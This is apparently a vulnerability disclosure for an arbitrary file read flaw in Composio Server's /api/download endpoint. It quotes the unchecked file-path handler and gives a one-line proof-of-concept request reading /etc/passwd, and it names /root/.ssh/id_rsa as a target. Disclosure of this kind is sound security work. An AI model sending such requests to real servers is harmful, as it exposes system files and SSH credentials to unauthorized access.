credit:Aftersnows@360 Vulnerability Research Institute
Without checking the path in this directory, information on this machine can be read. If the user starts the Composio Server service with root permissions, it may be possible to read sensitive files such as /root/.ssh/id_rsa
, which are used for SSH key-based authentication, potentially allowing keyless login to the server.
The vulnerability lies in the composio\\server\\api.py
file where there is no restriction placed on the path()
function.
@app.get("/api/download")
def _download_file_or_dir(file: t.Optional[str] = None):
"""Get list of available developer tools."""
if not file:
raise HTTPException(
status_code=400, detail="File path is required as query parameter"
)
path = Path(file)
A GET request packet is all that's needed
GET /api/download?file=/etc/passwd
https://github.com/user-attachments/assets/566dce22-b92b-4d57-b5eb-8c2609443f03
sensitive information leaked to unauthorized user
credit:Aftersnows@360 Vulnerability Research Institute